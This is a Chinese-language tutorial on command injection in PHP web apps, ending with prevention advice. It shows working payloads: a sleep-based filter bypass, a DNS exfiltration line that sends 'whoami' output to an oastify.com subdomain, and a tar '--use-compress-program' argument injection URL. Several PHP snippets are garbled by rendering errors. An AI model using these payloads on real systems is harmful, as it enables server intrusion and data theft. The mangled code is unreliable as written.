Bootstrap

什么是命令注入?

命令注入是网络安全中严重的漏洞,攻击者通过执行任意系统命令在Web服务器上实现,后果包括数据泄露、损坏和完全控制目标环境,本文探讨了命令注入的原理和防御措施。
1
什么是命令注入?命令注入是一种安全漏洞,发生在未验证用户输入就将其集成到系统命令中。攻击者可利用此漏洞执行任意命令,通过使用特殊字符(如 &、&&、| 或 ||)作为命令分隔符,绕过预期命令并执行其他命令。Unix系统中还有其他分隔符用于链接命令。;0x0a ou \n (caractère du saut à la ligne)$()
2
如何识别和利用命令注入?可以采取多种方法来识别命令注入漏洞。一种方法是检查应用程序的源代码,以确定在何处使用未经验证的用户输入执行系统命令。另一种方法是使用预先建立的有效载荷词典来检测漏洞。通过将这些有效载荷发送到服务器并分析响应,可以确定服务器是否容易受到命令注入攻击。这是我们要探索的方法,重点从黑盒的角度关注最常见的利用情况。

利用 PHP 应用程序中的命令注入
我们以在 Linux 服务器上运行的 PHP 应用程序为例,该应用程序返回给定域名的 IP 地址。
在这里插入图片描述
经常能够引起渗透测试人员注意的是使用建议执行系统命令的函数。例如,人们可能认为后端使用系统函数来调用本机二进制文件(如 dig),并且允许查询 DNS 服务器。作为一个简化的示例,代码如下:hell_exec("dig ".KaTeX parse error: Expected '}', got 'EOF' at end of input: …荷来绕过过滤器:;sleep{IFS}5
在这里插入图片描述

3
带外命令注入
了解漏洞
在某些情况下,用户输入在异步执行的函数中处理。异步执行允许服务器继续运行而不会中断主程序。因此,以这种方式执行的命令不会对服务器的响应产生直接影响。因此,不可能使用“sleep”之类的命令,并依赖服务器的响应时间来确认服务器是否容易受到命令注入的攻击。这时带外测试就派上用场了。这种测试涉及使用 SMTP、HTTP 或 DNS 等协议将数据泄露到攻击者控制的服务器。在下面的示例中,我们将演示一种使用 DNS 解析来窃取数据的技术。
通过 DNS 渗透进行利用
可以使用命令替换来窃取信息。其思路是将所需命令的输出作为攻击者控制的域的子域,然后触发对该服务器的 DNS 查询。攻击者管理的权威 DNS 服务器将接收此请求,从而捕获子域中包含的信息。以下有效载荷实现了该技术:&nslookup $(whoami).2be49ebqfgnfrxyjeqammobl8ce32uqj.oastify.com&
在这里插入图片描述
在此示例中,DNS 服务器接收带有命令结果的请求,在本例中是当前用户的名称“peter-hiHxI0”。
在这里插入图片描述

参数注入
参数注入机制:当用户输入不再串联而是作为参数传递给函数时,乍一看这似乎是安全的。然而,这引入了命令注入的一个子类型:参数注入。参数注入包括操纵传递给系统命令的参数以获得不良或危险的行为。根据应用程序使用的二进制文件,影响范围从简单的信息泄露到远程命令执行。利用参数注入:让我们以使用用户输入创建档案的 PHP 应用程序为例。在这里插入图片描述
该应用程序使用以下代码:if (KaTeX parse error: Expected 'EOF', got '&' at position 37: …OD'] === 'GET' &̲& isset(_GET[‘file’]) && is_array($_GET[‘file’])) { f i l e s t o a r c h i v e = [ ] ; / / E s c a p i n g e a c h a r g u m e n t t o a v o i d c o m m a n d i n j e c t i o n s f o r e a c h ( files_to_archive = []; // Escaping each argument to avoid command injections foreach ( filestoarchive=[];//Escapingeachargumenttoavoidcommandinjectionsforeach(_GET[‘file’] as KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (!empty(file)) { f i l e s t o a r c h i v e [ ] = e s c a p e s h e l l a r g ( files_to_archive[] = escapeshellarg( filestoarchive[]=escapeshellarg(file); } }
if (!empty($files_to_archive)) { // Build tar command $command = "tar cf my.tar " . implode(’ ', f i l e s t o a r c h i v e ) ; / / E x e c u t e c o m m a n d e x e c ( files_to_archive); // Execute command exec( filestoarchive);//Executecommandexec(command, $output, $return_var);}
代码使用 escapeshellarg 函数将多个参数传递给 tar 命令,而不是直接在 exec 函数中连接用户输入。这样可以通过转义所有可用于命令注入的特殊字符来确保命令的执行安全。但是,使用 tar 命令可能会带来风险,尤其是通过“use-compress-program”参数。此参数最初通过允许使用外部压缩程序来扩展 tar 的功能。它可能被滥用来启动系统命令。下面是执行 sleep 命令的命令示例。tar --use-compress-program='sleep 5 ’ -cf /tmp/passwd /etc/passwd在我们的 Web 应用程序上下文中,这将为我们提供以下有效负载:/arg.php?file[]=x&file[]=–use-compress-program&file[]=sleep 5正如我们在下面的屏幕截图中看到的,服务器在 5 秒后做出响应,确认该应用程序容易受到参数注入的攻击。
在这里插入图片描述

防止命令注入
为了防止命令注入攻击,必须尽可能避免将用户输入直接传递到系统功能中,以最大限度地降低风险。最有效的方法之一是避免在非必要的情况下使用系统函数。许多常见任务都可以使用所用编程语言提供的高级函数来执行。这些函数的设计非常安全,可以避免直接执行 shell 命令所带来的风险。例如,当 PHP 中存在 mkdir() 函数时,使用 system() 函数创建目录就是一种不好的做法。在无法避免使用系统命令的情况下,验证和过滤用户输入至关重要。这意味着用户提供的任何数据都必须根据严格定义允许的字符和格式的白名单进行验证。白名单验证包括仅授权字母数字字符(AZ、az、0-9)并确保不授权空格。
应对参数注入的风险
为了纠正参数注入,一种修复方法是使用“-”分隔符来指示选项的结束,并强制将后续参数解释为操作数。这样,以下命令就不再允许用户添加任意参数。touch – $user_input当使用不处理选项结尾的程序(例如 zip)时,最安全的方法是在任何用户控制的路径前加上“./”或“./”。

;